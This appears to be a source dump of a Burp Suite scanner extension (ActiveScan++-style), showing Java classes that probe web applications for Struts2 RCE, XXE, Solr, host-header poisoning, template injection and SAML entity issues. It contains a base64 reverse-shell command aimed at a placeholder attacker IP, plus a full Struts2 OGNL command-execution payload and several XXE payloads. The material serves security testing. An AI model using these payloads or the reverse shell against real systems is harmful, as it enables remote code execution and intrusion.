YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tfaXAvYXR0YWNrX3BvcnQgMD4mMQ== | base64 -d | tee -a /tmp/.deleteme.tmp ; /bin/bash /tmp/.deleteme.tmp ; /bin/rm /tmp/.deleteme.tmp'", 185 | "Firm", CustomScanIssue.severity.High 186 | )); 187 | } 188 | 189 | return Collections.emptyList(); 190 | } 191 | 192 | private List doStruts201811776Scan(IHttpRequestResponse basePair) { 193 | String origResponse = OldUtilities.safeBytesToString(basePair.getResponse()); 194 | if (!origResponse.contains("302 Found")) { 195 | return Collections.emptyList(); 196 | } 197 | 198 | String path = Utilities.helpers.analyzeRequest(basePair).getUrl().getPath(); 199 | int lastSlash = path.lastIndexOf('/'); 200 | 201 | Random random = new Random(); 202 | int x = random.nextInt(9000) + 1000; 203 | int y = random.nextInt(9000) + 1000; 204 | String attackString = "/$%7B(" + x + "*" + y + ")%7D"; 205 | String attackPath = path.substring(0, lastSlash) + attackString + path.substring(lastSlash); 206 | 207 | //String newReq = OldUtilities.safeBytesToString(basePair.getRequest()).replaceFirst(path, attackPath); 208 | String newReq = OldUtilities.safeBytesToString(Utilities.setPath(basePair.getRequest(), attackPath)); 209 | System.out.println("The outgoing 2018-11776 request looks like:\n\n" + newReq + "\n"); 210 | IHttpRequestResponse attack = Utilities.callbacks.makeHttpRequest(basePair.getHttpService(), newReq.getBytes()); 211 | String asciiResponse = new String(attack.getResponse()); 212 | 213 | if (asciiResponse.contains(String.valueOf(x * y))) { 214 | int requestMarkerStart = newReq.indexOf(x + "*" + y); 215 | int requestMarkerEnd = requestMarkerStart + (x + "*" + y).length(); 216 | int responseMarkerStart = asciiResponse.indexOf(String.valueOf(x * y)); 217 | int responseMarkerEnd = responseMarkerStart + String.valueOf(x * y).length(); 218 | 219 | List requestMarkers = Collections.singletonList(new int[]{requestMarkerStart, requestMarkerEnd}); 220 | List responseMarkers = Collections.singletonList(new int[]{responseMarkerStart, responseMarkerEnd}); 221 | 222 | IHttpRequestResponse markedAttack = Utilities.callbacks.applyMarkers(attack, requestMarkers, responseMarkers); 223 | return Collections.singletonList(new CustomScanIssue( 224 | basePair.getHttpService(), Utilities.helpers.analyzeRequest(basePair).getUrl(), 225 | new IHttpRequestResponse[]{markedAttack}, 226 | "Struts2 CVE-2018-11776 RCE", 227 | "The application appears to be vulnerable to CVE-2018-11776, enabling arbitrary code execution.", 228 | "Firm", CustomScanIssue.severity.High 229 | )); 230 | } 231 | 232 | return Collections.emptyList(); 233 | } 234 | 235 | private List doXXEPostScan(IHttpRequestResponse basePair) { 236 | if (Utilities.callbacks.saveConfigAsJson("project_options.misc.collaborator_server").contains("\"type\":\"none\"")) { 237 | return Collections.emptyList(); 238 | } 239 | 240 | IBurpCollaboratorClientContext collab = Utilities.callbacks.createBurpCollaboratorClientContext(); 241 | String collabPayload = collab.generatePayload(false) + "." + collab.getCollaboratorServerLocation(); 242 | String xxePayload = "&all;"; 243 | 244 | byte[] req = OldUtilities.setHeader(basePair.getRequest(), "Content-Type", "text/xml", true); 245 | req = OldUtilities.setHeader(req, "Content-Length", String.valueOf(xxePayload.length()), true); 246 | 247 | String asciiReq = new String(req); 248 | 249 | int bodyIndex = asciiReq.indexOf("\r\n\r\n"); 250 | if (bodyIndex > 1) { 251 | req = Arrays.copyOfRange(req, 0, bodyIndex + 4); 252 | } else { 253 | bodyIndex = asciiReq.indexOf("\n\n"); 254 | if (bodyIndex > 1) { 255 | req = Arrays.copyOfRange(req, 0, bodyIndex + 2); 256 | } 257 | } 258 | 259 | req = OldUtilities.concatenate(req, xxePayload.getBytes()); 260 | 261 | if (req[0] == 71) { // if request starts with G (GET) 262 | req = Arrays.copyOfRange(req, 3, req.length); // trim GET 263 | req = OldUtilities.concatenate(new byte[]{80, 79, 83, 84}, req); // insert POST 264 | } 265 | 266 | System.out.println("The outgoing XXEPostScan request looks like:\n\n" + new String(req) + "\n"); 267 | 268 | IHttpRequestResponse attack = Utilities.callbacks.makeHttpRequest(basePair.getHttpService(), req); 269 | List interactions = collab.fetchAllCollaboratorInteractions(); 270 | 271 | if (!interactions.isEmpty()) { 272 | return Collections.singletonList(new CustomScanIssue( 273 | basePair.getHttpService(), Utilities.helpers.analyzeRequest(basePair).getUrl(), 274 | new IHttpRequestResponse[]{attack}, 275 | "XXE via POST Request", 276 | "The application appears to be vulnerable to standard XML eXternal Entity (XXE) via a crafted POST request. Check the following URL for various method/payload choices: https://web-in-security.blogspot.it/2016/03/xxe-cheat-sheet.html", 277 | "Firm", CustomScanIssue.severity.High 278 | )); 279 | } 280 | 281 | return Collections.emptyList(); 282 | } 283 | 284 | private List doCodePathScan(IHttpRequestResponse basePair) { 285 | String baseRespString = OldUtilities.safeBytesToString(basePair.getResponse()); 286 | String baseRespPrint = OldUtilities.tagmap(baseRespString); 287 | Pair xmlResult = codepathAttack(basePair, "application/xml"); 288 | if (!xmlResult.getKey().equals("-1")) { 289 | if (!xmlResult.getKey().equals(baseRespPrint)) { 290 | Pair zmlResult = codepathAttack(basePair, "application/zml"); 291 | assert !zmlResult.getKey().equals("-1"); 292 | if (!zmlResult.getKey().equals(xmlResult.getKey())) { 293 | OldUtilities.launchPassiveScan(xmlResult.getValue()); 294 | return Collections.singletonList(new CustomScanIssue( 295 | basePair.getHttpService(), Utilities.helpers.analyzeRequest(basePair).getUrl(), 296 | new IHttpRequestResponse[]{basePair, xmlResult.getValue(), zmlResult.getValue()}, 297 | "XML input supported", 298 | "The application appears to handle application/xml input. Consider investigating whether it's vulnerable to typical XML parsing attacks such as XXE.", 299 | "Tentative", CustomScanIssue.severity.Information 300 | )); 301 | } 302 | } 303 | } 304 | 305 | return Collections.emptyList(); 306 | } 307 | 308 | private Pair codepathAttack(IHttpRequestResponse basePair, String contentType) { 309 | byte[] attack = OldUtilities.setHeader(basePair.getRequest(), "Content-Type", contentType, true); 310 | if (attack == null) { 311 | return new ImmutablePair<>("-1", null); 312 | } 313 | 314 | IHttpRequestResponse result = Utilities.callbacks.makeHttpRequest(basePair.getHttpService(), attack); 315 | byte[] resp = result.getResponse(); 316 | if (resp == null) { 317 | resp = new byte[0]; 318 | } 319 | return new ImmutablePair<>(OldUtilities.tagmap(OldUtilities.safeBytesToString(resp)), result); 320 | } 321 | 322 | 323 | private IScanIssue _raise(IHttpRequestResponse basePair, IHttpRequestResponse attack, String type) { 324 | IHttpService service = attack.getHttpService(); 325 | URL url = Utilities.helpers.analyzeRequest(attack).getUrl(); 326 | 327 | String title; 328 | CustomScanIssue.severity severity; 329 | String confidence; 330 | String description; 331 | 332 | if (type.equals("dns")) { 333 | title = "Arbitrary host header accepted"; 334 | severity = CustomScanIssue.severity.Low; 335 | confidence = "Certain"; 336 | description = """ 337 | The application appears to be accessible using arbitrary HTTP Host headers.

338 | 339 | This is a serious issue if the application is not externally accessible or uses IP-based access restrictions. Attackers can use DNS Rebinding to bypass any IP or firewall based access restrictions that may be in place, by proxying through their target's browser.
340 | Note that modern web browsers' use of DNS pinning does not effectively prevent this attack. The only effective mitigation is server-side: https://bugzilla.mozilla.org/show_bug.cgi?id=689835#c13

341 | 342 | Additionally, it may be possible to directly bypass poorly implemented access restrictions by sending a Host header of 'localhost'. 343 | 344 | Resources:
    345 |
  • https://portswigger.net/web-security/host-header
  • 346 |
347 | """; 348 | } else { 349 | title = "Host header poisoning"; 350 | severity = CustomScanIssue.severity.Medium; 351 | confidence = "Tentative"; 352 | description = """ 353 | The application appears to trust the user-supplied host header. By supplying a malicious host header with a password reset request, it may be possible to generate a poisoned password reset link. Consider testing the host header for classic server-side injection vulnerabilities.
354 |
355 | Depending on the configuration of the server and any intervening caching devices, it may also be possible to use this for cache poisoning attacks.
356 |
357 | Resources:
    358 |
  • https://portswigger.net/web-security/host-header
  • 359 |
  • http://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
  • 360 |
361 | """; 362 | } 363 | 364 | return new CustomScanIssue(service, url, new IHttpRequestResponse[] { basePair, attack }, title, description, confidence, severity); 365 | } 366 | 367 | List doHostHeaderScan(IHttpRequestResponse baseRequestResponse) { 368 | HttpRequest original = Utilities.buildMontoyaReq(Utilities.convertToHttp1(baseRequestResponse.getRequest()), baseRequestResponse.getHttpService()); 369 | String realHost = original.headerValue("Host"); 370 | 371 | byte[] baseResponse = baseRequestResponse.getResponse(); 372 | 373 | if (baseResponse == null) { 374 | baseResponse = Scan.request(original, true).request().toByteArray().getBytes(); 375 | } 376 | 377 | if (!Utilities.containsBytes(baseResponse, realHost.getBytes())) { 378 | return Collections.emptyList(); 379 | } 380 | 381 | List issues = new ArrayList<>(); 382 | 383 | short expectedStatus = Utilities.getCode(baseResponse); 384 | String refererCanary = Utilities.randomString(6); 385 | String hostCanary = Utilities.randomString(6); 386 | String payloadHost = hostCanary + realHost; 387 | 388 | HttpRequest attackBase = original.withHeader("Referer", "https://"+payloadHost+"/"+refererCanary).withHeader("Cache-Control", "no-cache").withParameter(HttpParameter.parameter("cachebust", Utilities.randomString(6), HttpParameterType.URL)); 389 | MontoyaRequestResponse basicHostAttack = Scan.request(attackBase.withHeader("Host", payloadHost), true); 390 | Scan.request(attackBase.withHeader("Host", payloadHost), true, true); 391 | if (basicHostAttack.status() == expectedStatus) { 392 | // DNS rebinding doesn't work on HTTPS 393 | if (!basicHostAttack.httpService().secure()) { 394 | issues.add(_raise(baseRequestResponse, new Resp(basicHostAttack), "dns")); 395 | } 396 | 397 | if (basicHostAttack.response().contains(hostCanary, false) && !basicHostAttack.response().contains(refererCanary, false)) { 398 | issues.add(_raise(baseRequestResponse, new Resp(basicHostAttack), "host")); 399 | return issues; 400 | } 401 | } 402 | 403 | MontoyaRequestResponse absHostAttack = Scan.request(attackBase.withHeader("Host", payloadHost).withPath("https://" + realHost + attackBase.path()), true);; 404 | if (absHostAttack.status() == expectedStatus && absHostAttack.response().contains(hostCanary, false) && !absHostAttack.response().contains(refererCanary, false)) { 405 | issues.add(_raise(baseRequestResponse, new Resp(absHostAttack), "abs")); 406 | return issues; 407 | } 408 | 409 | MontoyaRequestResponse xfHostAttack = Scan.request(attackBase.withHeader("X-Forwarded-Host", payloadHost), true); 410 | if (xfHostAttack.status() == expectedStatus && xfHostAttack.response().contains(hostCanary, false) && !xfHostAttack.response().contains(refererCanary, false)) { 411 | issues.add(_raise(baseRequestResponse, new Resp(xfHostAttack), "xfh")); 412 | return issues; 413 | } 414 | 415 | 416 | return issues; 417 | } 418 | } -------------------------------------------------------------------------------- /src/burp/SimpleFuzz.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import java.util.ArrayList; 4 | import java.util.List; 5 | 6 | import static burp.OldUtilities.launchPassiveScan; 7 | import static burp.OldUtilities.tagmap; 8 | import static burp.Utilities.callbacks; 9 | import static burp.Utilities.helpers; 10 | 11 | 12 | public class SimpleFuzz extends ParamScan { 13 | 14 | public SimpleFuzz(String name) { 15 | super(name); 16 | } 17 | 18 | @Override 19 | public List doActiveScan(IHttpRequestResponse basePair, IScannerInsertionPoint insertionPoint) { 20 | List issues = new ArrayList<>(); 21 | 22 | // Construct the attack payload 23 | byte[] payload = insertionPoint.buildRequest("a'a\\'b\"c>?>%}}%%>c<[[?${{%}}cake\\".getBytes()); 24 | 25 | // Send the attack request 26 | IHttpRequestResponse attack = callbacks.makeHttpRequest(basePair.getHttpService(), payload); 27 | 28 | // Compare the response 29 | if (!tagmap(helpers.bytesToString(attack.getResponse())).equals(tagmap(helpers.bytesToString(basePair.getResponse())))) { 30 | // Launch passive scan if the responses are different 31 | launchPassiveScan(attack); 32 | } 33 | 34 | return issues; 35 | } 36 | 37 | 38 | } 39 | -------------------------------------------------------------------------------- /src/burp/SolrScan.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | import java.util.ArrayList; 3 | import java.util.List; 4 | 5 | import static burp.Utilities.callbacks; 6 | import static burp.Utilities.helpers; 7 | import static burp.OldUtilities.request2; 8 | 9 | public class SolrScan extends ParamScan { 10 | public SolrScan(String name) { 11 | super(name); 12 | } 13 | 14 | @Override 15 | public List doActiveScan (IHttpRequestResponse basePair, IScannerInsertionPoint insertionPoint){ 16 | IBurpCollaboratorClientContext collab = callbacks.createBurpCollaboratorClientContext(); 17 | String obfuscatedPayload = "{!xmlparser v=''}"; 18 | IHttpRequestResponse attack = request2(basePair, insertionPoint, obfuscatedPayload); 19 | List interactions = collab.fetchAllCollaboratorInteractions(); 20 | 21 | List issues = new ArrayList<>(); 22 | if (!interactions.isEmpty()) { 23 | issues.add(new CustomScanIssue( 24 | attack.getHttpService(), 25 | helpers.analyzeRequest(attack).getUrl(), 26 | new IHttpRequestResponse[]{attack}, 27 | "Solr XXE/RCE (CVE-2017-12629)", 28 | "The application appears to be running a version of Solr vulnerable to XXE. ActiveScan++ sent a reference to an external file, and received a pingback from the server.

" + 29 | "To investigate, use the manual collaborator client. It may be possible to escalate this vulnerability into RCE. Please refer to https://mail-archives.apache.org/mod_mbox/lucene-dev/201710.mbox/%3CCAJEmKoC%2BeQdP-E6BKBVDaR_43fRs1A-hOLO3JYuemmUcr1R%2BTA%40mail.gmail.com%3E for further information", 30 | "Firm", 31 | CustomScanIssue.severity.High 32 | )); 33 | } 34 | 35 | return issues; 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /src/burp/Struts201712611Scan.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import java.util.ArrayList; 4 | import java.util.List; 5 | 6 | import static burp.Utilities.callbacks; 7 | import static burp.Utilities.helpers; 8 | import static burp.OldUtilities.request2; 9 | 10 | public class Struts201712611Scan extends ParamScan { 11 | Struts201712611Scan(String name) { 12 | super(name); 13 | } 14 | 15 | @Override 16 | public List doActiveScan(IHttpRequestResponse basePair, IScannerInsertionPoint insertionPoint) { 17 | IBurpCollaboratorClientContext collab = callbacks.createBurpCollaboratorClientContext(); 18 | 19 | // set the needed strings before and after the command to be executed 20 | String paramPre = "%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd="; 21 | String paramPost = ").(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}"; 22 | 23 | String obfuscateDomain = Utilities.randomString(7); 24 | String collabPayload = collab.generatePayload(false) + "."+ obfuscateDomain + collab.getCollaboratorServerLocation(); 25 | String command = "('ping " + collabPayload + " -c1').replace('"+obfuscateDomain+"', '')"; // platform-agnostic command to check for RCE via DNS interaction 26 | String attackParam = paramPre + command + paramPost; 27 | 28 | IHttpRequestResponse attack = request2(basePair, insertionPoint, attackParam); // issue the attack request 29 | Utilities.log(helpers.analyzeRequest(attack).getUrl().toString()); 30 | List interactions = collab.fetchAllCollaboratorInteractions(); // Check for interactions 31 | 32 | List issues = new ArrayList<>(); 33 | if (!interactions.isEmpty()) { 34 | issues.add(new CustomScanIssue( 35 | attack.getHttpService(), 36 | helpers.analyzeRequest(attack).getUrl(), 37 | new IHttpRequestResponse[]{attack}, 38 | "Struts2 CVE-2017-12611 RCE", 39 | "The application appears to be vulnerable to CVE-2017-12611, enabling arbitrary code execution. Replace the ping command in the suspicious request with system commands for a POC.", 40 | "Firm", 41 | CustomScanIssue.severity.High 42 | )); 43 | } 44 | return issues; 45 | } 46 | } -------------------------------------------------------------------------------- /src/burp/SuspectTransform.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | import org.apache.commons.lang3.tuple.ImmutablePair; 3 | import org.apache.commons.lang3.tuple.Pair; 4 | 5 | import java.util.*; 6 | import java.util.Random; 7 | 8 | import static burp.PerHostScans.safeBytesToString; 9 | import static burp.Utilities.helpers; 10 | 11 | public class SuspectTransform extends ParamScan { 12 | private Map checks; 13 | private int confirmCount; 14 | 15 | public SuspectTransform(String name) { 16 | super(name); 17 | this.checks = new HashMap<>(); 18 | this.checks.put("quote consumption", new CheckDetails(this::detectQuoteConsumption, List.of())); 19 | this.checks.put("arithmetic evaluation", new CheckDetails(this::detectArithmetic, List.of())); 20 | this.checks.put("expression evaluation", new CheckDetails(this::detectExpression, 21 | List.of("https://portswigger.net/research/server-side-template-injection"))); 22 | this.checks.put("template evaluation", new CheckDetails(this::detectRazorExpression, 23 | List.of("https://portswigger.net/research/server-side-template-injection"))); 24 | this.checks.put("EL evaluation", new CheckDetails(this::detectAltExpression, 25 | List.of("https://portswigger.net/research/server-side-template-injection"))); 26 | this.checks.put("unicode normalisation", new CheckDetails(this::detectUnicodeNormalisation, 27 | List.of("https://blog.orange.tw/posts/2025-01-worstfit-unveiling-hidden-transformers-in-windows-ansi/"))); 28 | this.checks.put("url decoding error", new CheckDetails(this::detectUrlDecodeError, 29 | List.of("https://cwe.mitre.org/data/definitions/172.html"))); 30 | this.checks.put("unicode byte truncation", new CheckDetails(this::detectUnicodeByteTruncation, 31 | List.of("https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows"))); 32 | this.checks.put("unicode case conversion", new CheckDetails(this::detectUnicodeCaseConversion, 33 | List.of("https://www.unicode.org/charts/case/index.html"))); 34 | this.checks.put("unicode combining diacritic", new CheckDetails(this::detectUnicodeCombiningDiacritic, 35 | List.of("https://codepoints.net/combining_diacritical_marks?lang=en"))); 36 | this.confirmCount = 2; 37 | } 38 | 39 | private Pair> detectUnicodeNormalisation(String base) { 40 | String leftAnchor = Utilities.randomString(6); 41 | String rightAnchor = Utilities.randomString(6); 42 | return new ImmutablePair<>(leftAnchor+"\u212a"+rightAnchor, Collections.singletonList(leftAnchor+"K"+rightAnchor)); 43 | } 44 | 45 | private Pair> detectUrlDecodeError(String base) { 46 | String leftAnchor = Utilities.randomString(6); 47 | String rightAnchor = Utilities.randomString(6); 48 | return new ImmutablePair<>(leftAnchor+"\u0391"+rightAnchor, Collections.singletonList(leftAnchor+"N\u0011"+rightAnchor)); 49 | } 50 | 51 | private Pair> detectUnicodeByteTruncation(String base) { 52 | String leftAnchor = Utilities.randomString(6); 53 | String rightAnchor = Utilities.randomString(6); 54 | return new ImmutablePair<>(leftAnchor+"\uCF7B"+rightAnchor, Collections.singletonList(leftAnchor+"{"+rightAnchor)); 55 | } 56 | 57 | private Pair> detectUnicodeCaseConversion(String base) { 58 | String leftAnchor = Utilities.randomString(6); 59 | String rightAnchor = Utilities.randomString(6); 60 | return new ImmutablePair<>(leftAnchor+"\u0131"+rightAnchor, Collections.singletonList(leftAnchor+"I"+rightAnchor)); 61 | } 62 | 63 | private Pair> detectUnicodeCombiningDiacritic(String base) { 64 | String rightAnchor = Utilities.randomString(6); 65 | return new ImmutablePair<>("\u0338"+rightAnchor, Collections.singletonList("\u226F"+rightAnchor)); 66 | } 67 | 68 | private Pair> detectQuoteConsumption(String base) { 69 | String leftAnchor = Utilities.randomString(6); 70 | String rightAnchor = Utilities.randomString(6); 71 | return new ImmutablePair<>(leftAnchor+"''"+rightAnchor, Collections.singletonList(leftAnchor+"'"+rightAnchor)); 72 | } 73 | 74 | private Pair> detectArithmetic(String base) { 75 | Random random = new Random(); 76 | int x = 99 + random.nextInt(9901); 77 | int y = 99 + random.nextInt(9901); 78 | String probe = x + "*" + y; 79 | String expect = String.valueOf(x * y); 80 | return new ImmutablePair<>(probe, Collections.singletonList(expect)); 81 | } 82 | 83 | private Pair> detectExpression(String base) { 84 | Pair> arithmeticResult = detectArithmetic(base); 85 | String probe = "${" + arithmeticResult.getKey() + "}"; 86 | return new ImmutablePair<>(probe, arithmeticResult.getValue()); 87 | } 88 | 89 | private Pair> detectAltExpression(String base) { 90 | Pair> arithmeticResult = detectArithmetic(base); 91 | String probe = "%{" + arithmeticResult.getKey() + "}"; 92 | return new ImmutablePair<>(probe, arithmeticResult.getValue()); 93 | } 94 | 95 | private Pair> detectRazorExpression(String base) { 96 | Pair> arithmeticResult = detectArithmetic(base); 97 | String probe = "@(" + arithmeticResult.getKey() + ")"; 98 | return new ImmutablePair<>(probe, arithmeticResult.getValue()); 99 | } 100 | 101 | @Override 102 | public List doActiveScan(IHttpRequestResponse basePair, IScannerInsertionPoint insertionPoint) { 103 | String base = insertionPoint.getBaseValue(); 104 | String initialResponse = safeBytesToString(basePair.getResponse()); 105 | List issues = new ArrayList<>(); 106 | Map checksCopy = new HashMap<>(this.checks); 107 | 108 | while (!checksCopy.isEmpty()) { 109 | Map.Entry entry = checksCopy.entrySet().iterator().next(); 110 | checksCopy.remove(entry.getKey()); 111 | String name = entry.getKey(); 112 | Check check = entry.getValue().getTransformation(); 113 | List links = entry.getValue().getLinks(); 114 | 115 | for (int attempt = 0; attempt < confirmCount; attempt++) { 116 | Pair> result = check.apply(base); 117 | String probe = result.getKey(); 118 | List expect = result.getValue(); 119 | 120 | Utilities.log("Trying " + probe); 121 | IHttpRequestResponse attack = OldUtilities.request2(basePair, insertionPoint, probe); 122 | String attackResponse = safeBytesToString(attack.getResponse()); 123 | 124 | boolean matched = false; 125 | for (String e : expect) { 126 | if (attackResponse.contains(e) && !initialResponse.contains(e)) { 127 | matched = true; 128 | if (attempt == confirmCount - 1) { 129 | issues.add(new CustomScanIssue( 130 | attack.getHttpService(), 131 | helpers.analyzeRequest(attack).getUrl(), 132 | new IHttpRequestResponse[]{attack}, 133 | "Suspicious input transformation: " + name, 134 | "The application transforms input in a manner that indicates potential vulnerability (e.g., code injection, validation bypass, etc.):

" 135 | + "The following probe was sent: " + probe + "
" 136 | + "The server response contained the evaluated result: " + e + "

Manual investigation is advised." 137 | + (links.isEmpty() ? "" : "
More details: " + String.join(", ", links)), 138 | "Tentative", CustomScanIssue.severity.High)); 139 | } 140 | break; 141 | } 142 | } 143 | 144 | if (!matched) { 145 | break; 146 | } 147 | } 148 | } 149 | 150 | return issues; 151 | } 152 | 153 | private static class CheckDetails { 154 | private final Check transformation; 155 | private final List links; 156 | 157 | public CheckDetails(Check transformation, List usefulLinks) { 158 | this.transformation = transformation; 159 | this.links = usefulLinks; 160 | } 161 | 162 | public Check getTransformation() { 163 | return transformation; 164 | } 165 | 166 | public List getLinks() { 167 | return links.stream() 168 | .map(link -> String.format("%s", link, link)).toList(); 169 | } 170 | } 171 | 172 | @FunctionalInterface 173 | private interface Check { 174 | Pair> apply(String base); 175 | } 176 | 177 | // Other utility methods like safeBytesToString, request, debugMsg, etc. should be implemented as needed. 178 | } 179 | -------------------------------------------------------------------------------- /src/burp/Tester.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import burp.api.montoya.http.handler.*; 4 | import burp.api.montoya.http.message.HttpRequestResponse; 5 | import burp.api.montoya.organizer.Organizer; 6 | 7 | import java.util.HashSet; 8 | 9 | public class Tester implements HttpHandler { 10 | 11 | private static HashSet requestCode = new HashSet<>(); 12 | 13 | @Override 14 | public RequestToBeSentAction handleHttpRequestToBeSent(HttpRequestToBeSent httpRequestToBeSent) { 15 | 16 | int hashCode = httpRequestToBeSent.toString().hashCode(); 17 | if (requestCode.contains(hashCode)) { 18 | httpRequestToBeSent.annotations().setNotes("Seen"); 19 | } else { 20 | requestCode.add(hashCode); 21 | } 22 | return RequestToBeSentAction.continueWith(httpRequestToBeSent); 23 | } 24 | 25 | @Override 26 | public ResponseReceivedAction handleHttpResponseReceived(HttpResponseReceived httpResponseReceived) { 27 | return ResponseReceivedAction.continueWith(httpResponseReceived); 28 | } 29 | 30 | 31 | } 32 | 33 | 34 | -------------------------------------------------------------------------------- /src/burp/XMLScan.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import burp.api.montoya.http.message.HttpRequestResponse; 4 | import burp.api.montoya.http.message.requests.HttpRequest; 5 | import burp.api.montoya.http.message.responses.analysis.Attribute; 6 | import burp.api.montoya.http.message.responses.analysis.AttributeType; 7 | import org.apache.commons.lang3.tuple.ImmutablePair; 8 | import org.apache.commons.lang3.tuple.Pair; 9 | import org.w3c.dom.Attr; 10 | import org.w3c.dom.Document; 11 | import org.w3c.dom.Node; 12 | import org.w3c.dom.NodeList; 13 | 14 | import javax.xml.parsers.DocumentBuilder; 15 | import javax.xml.parsers.DocumentBuilderFactory; 16 | import javax.xml.parsers.ParserConfigurationException; 17 | import javax.xml.transform.OutputKeys; 18 | import javax.xml.transform.Transformer; 19 | import javax.xml.transform.TransformerFactory; 20 | import javax.xml.transform.dom.DOMSource; 21 | import javax.xml.transform.stream.StreamResult; 22 | import javax.xml.xpath.XPath; 23 | import javax.xml.xpath.XPathConstants; 24 | import javax.xml.xpath.XPathExpression; 25 | import javax.xml.xpath.XPathFactory; 26 | import java.io.ByteArrayInputStream; 27 | import java.io.ByteArrayOutputStream; 28 | import java.io.IOException; 29 | import java.io.StringWriter; 30 | import java.net.URLDecoder; 31 | import java.nio.charset.StandardCharsets; 32 | import java.util.*; 33 | import java.util.zip.DataFormatException; 34 | import java.util.zip.Deflater; 35 | import java.util.zip.Inflater; 36 | 37 | import static burp.Utilities.helpers; 38 | 39 | public class XMLScan extends ParamScan { 40 | private final Map checks; 41 | private final Set ATTRIBUTES; 42 | private final int confirmCount; 43 | private boolean isCompressed; 44 | private boolean isBase64Encoded; 45 | 46 | 47 | public XMLScan(String name) { 48 | super(name); 49 | this.checks = new HashMap<>(); 50 | this.checks.put("DOCTYPE", new CheckDetails(this::detectUnsafeDOCTYPE, 51 | List.of("https://portswigger.net/research/saml-roulette-the-hacker-always-wins"))); 52 | this.checks.put("ENTITY", new CheckDetails(this::detectUnsafeENTITIES, 53 | List.of("https://portswigger.net/research/saml-roulette-the-hacker-always-wins"))); 54 | this.confirmCount = 2; 55 | this.isCompressed = false; 56 | this.isBase64Encoded = false; 57 | this.ATTRIBUTES = new HashSet<>(); 58 | this.ATTRIBUTES.addAll(Set.of(AttributeType.values())); 59 | this.ATTRIBUTES.removeAll(Set.of( 60 | AttributeType.BODY_CONTENT, 61 | AttributeType.WORD_COUNT, 62 | AttributeType.INITIAL_CONTENT, 63 | AttributeType.LINE_COUNT, 64 | AttributeType.LIMITED_BODY_CONTENT, 65 | AttributeType.CONTENT_LENGTH)); 66 | } 67 | 68 | public static List getUniqueAttributeTypes(List firstAttributes, List secondAttributes) { 69 | List mismatchedTypes = new ArrayList<>(); 70 | 71 | if (firstAttributes.size() != secondAttributes.size()) { 72 | return mismatchedTypes; 73 | } 74 | for (Attribute first : firstAttributes) { 75 | Optional second = secondAttributes.stream().filter(attribute -> attribute.type() == first.type()).findFirst(); 76 | if (second.isPresent() && second.get().value() != first.value()) mismatchedTypes.add(first.type()); 77 | } 78 | return mismatchedTypes; 79 | } 80 | 81 | private Pair detectUnsafeDOCTYPE(Document document) { 82 | if (document == null || document.getDoctype() != null) { 83 | throw new IllegalArgumentException(); 84 | } 85 | String str = "" + transformDocument(document); 86 | return new ImmutablePair<>(compressIfNeeded(str), ""); 87 | } 88 | 89 | private Pair detectUnsafeENTITIES(Document document) { 90 | if (document == null || document.getDoctype() != null) { 91 | throw new IllegalArgumentException(); 92 | } 93 | try { 94 | XPathFactory xPathFactory = XPathFactory.newInstance(); 95 | XPath xpath = xPathFactory.newXPath(); 96 | XPathExpression expr = xpath.compile("//*[@ID]"); 97 | 98 | Node node = (Node) expr.evaluate(document, XPathConstants.NODE); 99 | if (node != null && node.getAttributes() != null) { 100 | Attr idAttr = (Attr) node.getAttributes().getNamedItem("ID"); 101 | if (idAttr != null) { 102 | String uuid = idAttr.getValue(); 103 | idAttr.setValue("PLACEHOLDER_UUID"); 104 | String str = String.format(" ]>", uuid); 105 | str += transformDocument(document); 106 | str = str.replace("PLACEHOLDER_UUID", "&uuid;"); 107 | return new ImmutablePair<>(compressIfNeeded(str), ""); 108 | } 109 | } 110 | throw new IllegalArgumentException(); 111 | } catch (Exception e) { 112 | throw new IllegalArgumentException(); 113 | } 114 | } 115 | 116 | private boolean areAttributesIdentical(List firstAttributes, List secondAttributes) { 117 | if (firstAttributes.size() != secondAttributes.size()) { 118 | return false; 119 | } 120 | for (int i = 0; i < firstAttributes.size(); i++) { 121 | Attribute a = firstAttributes.get(i); 122 | Attribute b = secondAttributes.get(i); 123 | 124 | if (!(a.value() == b.value())) { 125 | return false; 126 | } 127 | } 128 | return true; 129 | } 130 | 131 | @Override 132 | public List doActiveScan(IHttpRequestResponse basePair, IScannerInsertionPoint insertionPoint) { 133 | String base = insertionPoint.getBaseValue(); 134 | String insertionPointName = insertionPoint.getInsertionPointName(); 135 | if (!(insertionPointName.equalsIgnoreCase("SAMLRequest") || insertionPointName.equalsIgnoreCase("SAMLResponse"))) 136 | return null; 137 | Optional document = extractOptionalXMLDocument(base); 138 | if (document.isEmpty()) return null; 139 | 140 | List issues = new ArrayList<>(); 141 | Map checksCopy = new HashMap<>(this.checks); 142 | 143 | byte[] baseline = insertionPoint.buildRequest(new byte[]{}); 144 | HttpRequest baselineRequest = Utilities.buildMontoyaReq(baseline, basePair.getHttpService()); 145 | HttpRequestResponse baselineRequestResponse = Utilities.montoyaApi.http().sendRequest(baselineRequest); 146 | if (!baselineRequestResponse.hasResponse()) return null; 147 | 148 | List baselineAttributes = baselineRequestResponse.response().attributes(ATTRIBUTES.toArray(new AttributeType[]{})); 149 | List originalAttributes = Utilities.buildMontoyaResp(new Resp(basePair)).response().attributes(ATTRIBUTES.toArray(new AttributeType[]{})); 150 | 151 | List unique = getUniqueAttributeTypes(baselineAttributes, 